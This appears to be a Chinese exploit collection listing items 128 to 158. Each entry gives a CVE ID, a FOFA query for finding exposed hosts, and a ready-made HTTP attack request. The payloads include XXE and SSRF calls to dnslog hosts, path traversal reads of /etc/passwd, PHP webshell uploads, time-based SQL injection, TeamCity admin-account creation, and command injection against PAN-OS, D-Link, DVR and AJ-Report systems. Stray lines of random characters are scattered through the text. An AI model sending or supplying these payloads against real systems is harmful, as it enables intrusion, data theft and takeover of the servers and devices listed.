Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
, ~& i- Y4 O5 ~<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
+ X% s& r6 c8 k: K$ U: l]
7 `( V* C8 A2 t' p+ k& i: G9 A>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--


- C% J; k4 K9 e4 F( C' b
; a5 u0 [1 Y$ N7 J128. Adobe ColdFusion 反序列化
CVE-2023-38203
- f2 \# _7 X% F" z6 g; v- ]( j4 l6 kAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
& y# f; ?6 s0 }FOFA：app="Adobe-ColdFusion"
$ ]$ b$ X  ]) a9 y* j$ u/ mPAYLOAD
) A" x  u! E/ N5 m4 t  l1 n
129. Adobe ColdFusion 任意文件读取
) G4 {5 }4 d7 n( JCVE-2024-20767
, \$ ?' {4 a( BFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
/ V2 u8 Q! R% tGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
6 h' E8 R; h' z. p; p: lHost: x.x.x.x
4 a/ T! I1 L0 }+ D( g/ Y- _' EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
, M" d" z2 r& K- N1 BAccept-Encoding: gzip, deflate
4 w& e% G- _' U9 MConnection: close
9 ]$ W$ @) m8 ?4 C
- G0 p5 x* I* n6 O
第二步，读取/etc/passwd文件
8 s4 F0 W7 a: y- a3 l: uGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
1 _* d6 q: }! C" e* O' `Host: x.x.x.x
* N) U! g- C! N* z  N; k. JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 R3 \+ o7 X  {2 f; z& }! oAccept: */*
Accept-Encoding: gzip, deflate
5 f% n" T3 x0 l6 H1 nConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

* _: o7 M! y& J% u5 l8 U
130. Laykefu客服系统任意文件上传
. v) \% E& t; J# [+ vFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
. c) V; Y/ @) YAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
% e6 ?' @0 H6 R- m" T1 ?  p0 r2 lContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
2 J1 Y: R8 f  L2 f* NConnection: close
  q) K( |2 J% `) j/ ]& A. O
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
  b$ c, E+ Y' `7 U1 X( j3 `Content-Type: image/png
: c* Y( u) ^. I8 a6 {* O
8 Q! k1 o! _4 I# G& Z<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
7 U7 L8 M4 A3 r. u& U9 H
3 M8 B, f9 o. q* x$ z
: o) h  G9 R, x8 k# y7 F131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
- i* c8 f% N) r: J
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
4 _' [8 y  m  X! v# xCVE-2024-27198
FOFA：body="Log in to TeamCity"
: ?. l& n+ p- ]' {POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
* q7 {$ R& P1 T4 |Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 ]: x. E  S! ^7 J% N2 `5 SAccept: */*
Content-Type: application/json
+ e* Y0 f5 d3 t$ k2 cAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
" H  c9 d2 I) y3 _2 s. D+ \
' v  B0 {3 B, J2 k
CVE-2024-27199
/res/../admin/diagnostic.jsp
2 i! _% h# U3 d$ q  m2 }4 g/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

9 `9 k' {; t: g
! l$ A1 F; E" JCVE-2024-27198-RCE.py
; m6 y# i/ [7 @4 T. U2 Q
133. H5 云商城 file.php 文件上传
9 F0 B3 r9 Y/ G( vFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
; c: v  c* \3 \+ ~/ T+ m& wHost: your-ip
! T1 h. w1 j0 w7 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

8 N/ K/ P" |; ~3 e6 o7 A% q------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
$ f8 w7 G0 v9 [% c5 }8 I- W


5 {; O! x+ s6 W% l0 m134. 网康NS-ASG应用安全网关index.php sql注入
3 Z1 t- f, g$ D. aCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
5 R9 E- q' O4 @POST /protocol/index.php HTTP/1.1
# H& n. l/ r/ V$ B1 i8 x. \  ]5 BHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* N7 x9 ]9 A' G4 l7 \, A* PAccept-Encoding: gzip, deflate
& g1 K9 `* m) r2 D3 HSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
  [9 I! v* j3 l% C! W! U/ q% f7 ^Sec-Fetch-Site: same-origin
1 g2 H8 O0 N: i9 J6 dTe: trailers
' s1 [3 Q& C, T2 n, X1 rConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
# I$ u3 @' @9 A, `# `* O
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

! k1 C! S3 o2 e% v7 v
* W9 R% y9 Y: d  Z4 U+ j) [* i135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
6 X1 W' S. J* f4 gCVE-2024-2022
7 U9 R) u- q; Q5 s, B/ qNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
) {5 Y/ E) j. @, D. jGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 a" _; T: E% |5 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
CVE-2023-49785
  w5 w$ E* U& ^FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ X# u, N$ z# P3 [5 Z6 NConnection: close
( j' ?9 @) y! O1 ?Accept: */*
Accept-Language: en
Accept-Encoding: gzip

% R! F, H$ `& A, w' u8 \- t7 x4 m7 s
1 x+ ?, Q  r/ ]# T% a137. 福建科立迅通信指挥调度平台down_file.php sql注入
# B* {8 i; @, x5 E& fCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 W: T, j5 e5 l8 p8 r! @GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
9 m# l" v3 W8 d; }, ]  A" y. yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 J" ^. s2 L- F1 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
3 ?0 C' G! ?* q1 M8 b" c& GCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
7 l' b) f4 |! n: F$ c! |
/ z8 ]8 t) o, h* @5 ^
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
( V2 v% Y3 M- p$ y% JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
& u6 f' c" P; l" N+ |1 c" W& fGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
- P5 O+ }' U; e) M  X9 j( O# VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 O1 b0 D- {' }6 z8 {6 ]/ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
7 R8 l2 P* U# D% Z- \Connection: close
, F& j9 C& ^9 h: YUpgrade-Insecure-Requests: 1
# i! b( g' s% ]: y$ B' S4 @0 Z1 `

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
: m3 u, g- E, @CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ V  a& r/ c" `7 UGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
+ u& U( q  {9 UHost: x.x.x.x
* P; C. M8 R' E' b3 T* h& TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' O+ y9 ]1 e9 a/ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ u4 j& v) Q' l- j* ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
' M, }- f5 E/ u2 E! R- I& ]Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
/ e6 d6 r4 H' C: HUpgrade-Insecure-Requests: 1
9 P; J4 r& y5 I. t/ L8 M/ K
9 g" F4 K! d: b/ ~% ~9 I& [( p( u8 N
8 F' ~9 C; d# f4 }( x140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
; L; K( b4 g7 B& S' YCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; }5 M, [" Y% rGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, U: p' @# i& g! o/ a  i# ^1 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
8 K1 N1 e/ x0 U% N/ F4 X2 c9 |+ f9 iUpgrade-Insecure-Requests: 1
3 ~+ m% k& [& q# [6 q, O! o  u2 A9 D
! n1 |0 i; ^; |$ E0 @
# _! N7 ~7 _2 i, ]# _141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
1 p5 p& F' z8 L& V0 Z7 e0 jPOST /app/ext/ajax_users.php HTTP/1.1
1 Q( i9 ]" r; T. u1 Z  ]. NHost: your-ip
" C1 ~4 m- r+ C  l5 P0 hUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
+ `$ g2 [1 m  b0 P

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
8 R3 R* S& `/ O# R+ j' }admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
$ _  |, [8 O/ X* {4 R, H. p
' |  i- O- i- V7 Y  b) @144. D-Link nas_sharing.cgi 命令注入
6 G9 B% A( O  ~" P6 U6 aFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
" @+ D& O$ I- S0 g& l' X% rAccept: */*
Accept-Language: en
Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# e0 \1 w- Z0 ^, y$ yCVE-2024-3400
! j6 i' O# f0 O; K! r* w; M  vFOFA：icon_hash="-631559155"
9 v0 Y- R+ S3 M! P8 bGET /global-protect/login.esp HTTP/1.1
% ~6 t. V3 d- P4 W: w( H3 [4 UHost: 192.168.30.112:1005
2 ~$ a& x# m5 W" nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
3 \& T& u4 w) D: p3 BCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


" I& g( X8 b0 q146. MajorDoMo thumb.php 未授权远程代码执行
& J1 A4 w- a8 {1 OCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

/ S( ?& ~  J  w, d0 Q! |
" e7 L' ~" i/ \/ \- L147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
( }8 Y% A# D' h: |% v/ {Cache-Control: max-age=0
Connection: close

/ T$ n0 I" t) }1 A& b  k2 e
( B7 @  p3 i. \, R. y1 S148. CrushFTP 认证绕过模板注入
$ ]6 s/ g  ]# W# }$ F, H( ~! pCVE-2024-4040
FOFA：body="CrushFTP"
1 z: a% Y- H) e. D# h5 jPAYLOAD
4 l( y1 }1 F- i6 \0 `* ~
: o" M$ c4 J0 ~* Z' y, M149. AJ-Report开源数据大屏存在远程命令执行
" y1 Q8 E+ M$ G9 }. o+ c8 bFOFA：title="AJ-Report"
. {$ l4 p* @9 U
3 h; A% c3 r- T% ]& s7 |$ K- x$ mPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 }& o5 @) T& N+ D1 @Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
3 h9 o* U, T% n% u( A/ g! YConnection: close
2 K8 t) y6 y4 I0 s* Z6 S  H
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
. P! X$ I/ B) y6 ]3 K1 b
150. AJ-Report 1.4.0 认证绕过与远程代码执行
8 Y( P! }7 [$ L( Y& cFOFA：title="AJ-Report"
" x0 S9 K  h) w; hPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
6 f; P$ A$ G$ hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) G( M5 M: w0 s5 C* c" cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
( N4 d% e" ]9 h  s. [; x+ Z) j4 TConnection: close
# X: ^, X6 g' k1 s& i, B& pContent-Length: 339

. G- P) z4 R( ]2 p- t{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
+ g  s# I3 X6 G2 {" k' G
0 q! F- I6 ^( U# {
' V" Q* N+ V0 g" L. L" ]151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
7 [! F9 \$ Y9 z, h, V! g" tHost: x.x.x.x
2 N5 T9 x* s: T9 V0 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# G' a: m9 d/ b( X. w) Q1 G) aAccept-Encoding: gzip
0 |. ^/ A1 Y0 f& M

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
4 p4 v8 _4 I; D* y& K& iLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
" n0 S+ W2 ^; V) E: ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
7 H& x8 N9 g1 k2 hConnection: close
4 Z9 F& E5 T5 j- }: N5 t3 D7 vAccept: */*
Accept-Language: en
* ^9 E' l' s5 c6 [$ J8 Y% i- Z5 zAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
7 j4 w* B' t" j* I/ L, G- c

153. gradio任意文件读取
6 ~' Q' {9 y% L* y* D& L& f' VCVE-2024-1561FOFA：body="__gradio_mode__"
* i- U1 [; b' i2 [6 M, X第一步，请求/config文件获取componets的id
& `4 a/ @& _4 z; x2 Yhttp://x.x.x.x/config
  D+ i& c' s4 K5 O; U3 C7 u' X9 V

) Q" e# u( q+ w第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
$ Z! @5 B9 j2 A  `) a7 M* u! C; jHost: x.x.x.x
) |; Z3 s2 Z0 l! X0 F  K- i& l' u6 y. SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
  B' R; {" g7 P) T, `' SConnection: close
6 `5 s1 j! L7 QContent-Length: 115
4 a6 _% Y$ A( \  H( r" E) nContent-Type: application/json
$ p" y- N* N; p1 p+ j' ]' ^- zAccept-Encoding: gzip
! d1 V3 e% G5 s5 b, S
+ W, _; F. p2 V, ?{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


/ C+ J# u3 X, u7 B" u第三步访问
3 c' t/ e( o$ V" {0 Yhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

, j; `2 X+ m- ^
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
5 Q# \  m3 U) m3 V2 kCache-Control: max-age=0
% u/ j7 Z& ]( f; {9 d) D3 S" {Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 P$ V, `! Z" u3 D5 A- I2 UReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
3 Q) ^+ x% ?) [. T& h+ Y5 I( g) }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
3 X9 ~- N3 x( }+ T% W8 yConnection: close
) O) D. s9 g4 U2 o. q8 U/ M1 M" K
0 i  I! z9 S0 Q0 I( }{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
  l. r" q. g  }1 g# n% t3 _FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
( F3 w+ W$ i9 m) d/ I% ~: r; `& V2 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. d- b5 w8 {6 }Connection: close
: l+ d: A8 m/ S5 l! N! e( QContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
, V, x" z0 ]! s3 JAccept-Encoding: gzip, deflate, br
1 z, I$ w* t9 n2 p' X: `: d1 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ t: c4 U1 F. v9 X1 LContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
. l$ j4 [! s7 V  X, ^X-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

7 ^) {7 K" p, U<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

$ J- C* y7 r7 m% e0 ~- B. c+ U& J
  `5 ~5 x: S% ^访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
; S* }# x3 e) E, Z4 b, s
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
9 O2 c$ ?- C! i$ J9 h/ P·TBK DVR-4216
( H- B1 N$ s9 m( ]5 C9 `curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# w* _# r  o# q; ^8 _3 m  p

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 B& G  ], O% pContent-Length: 0
$ a: `: \; U) U& HCookie: uid=1
Accept-Encoding: gzip
: w" X6 k# k% ^' }0 j3 q$ l

7 e2 C- F! L7 b  T157. 美特CRM upload.jsp 任意文件上传
; {- e. S6 a* K) N9 K: }! _CNVD-2023-06971
8 `5 K4 e! s3 [" H& KFOFA：body="/common/scripts/basic.js"
, s5 ]1 O- A. B, N% p# l: lPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
" p! j: b: I# zHost: x.x.x.x
4 W  `9 a0 o+ m% R8 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* H6 d5 Y: W  J0 I% UAccept-Encoding: gzip, deflate
! w7 i  @' s: @4 |- c4 R  FAccept-Language: zh-CN,zh;q=0.9
/ @4 E% z8 J9 R9 J( p; r0 iCache-Control: max-age=0
' [' T" Z5 Y/ R/ g1 HConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

5 H( B; D5 T# V! j" @------WebKitFormBoundary1imovELzPsfzp5dN
8 a) H* c  `3 }& `* |# W' HContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
  O1 k) j& x: A/ p( \
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

8 X. E* t$ n% ?3 Gnull
- b+ C1 z6 e8 s( y% u1 r------WebKitFormBoundary1imovELzPsfzp5dN
7 L& L; g! _1 e( L, @4 n  tContent-Disposition: form-data; name="form"
( _! P: U7 s' f! D- d
null
. ?$ c7 E5 Q* F& Q3 O6 I------WebKitFormBoundary1imovELzPsfzp5dN
7 [, X& n; S1 @9 V- I* @+ \/ RContent-Disposition: form-data; name="field"
' X3 H' Q" ~$ Z/ p5 a2 L
null
" x9 V. c0 S& ^) F2 t------WebKitFormBoundary1imovELzPsfzp5dN
  m: u2 c5 t1 O+ J# B  C3 BContent-Disposition: form-data; name="filetitile"
* B0 t  ^3 @8 H( {* r
null
0 p4 f9 ]( N- `! o------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
7 s. m8 Z5 B# ~) \1 h. A: J------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
2 q7 D  o. E9 B& O) c6 k" I% W
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
1 p8 W0 Z( b0 I+ X  q/ A+ MFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 I5 H% M2 v, h! \! d* ?Host: {{Hostname}}
! n' X' F* A/ e, zContent-Type: application/x-www-form-urlencoded
8 W6 x1 B& \' @2 G
; g8 a( V; h, p6 q5 g* ~0 Pobject=displayregion&contenthistid=x\'&previewid=1
5 ]+ H. I: J' V9 \7 @
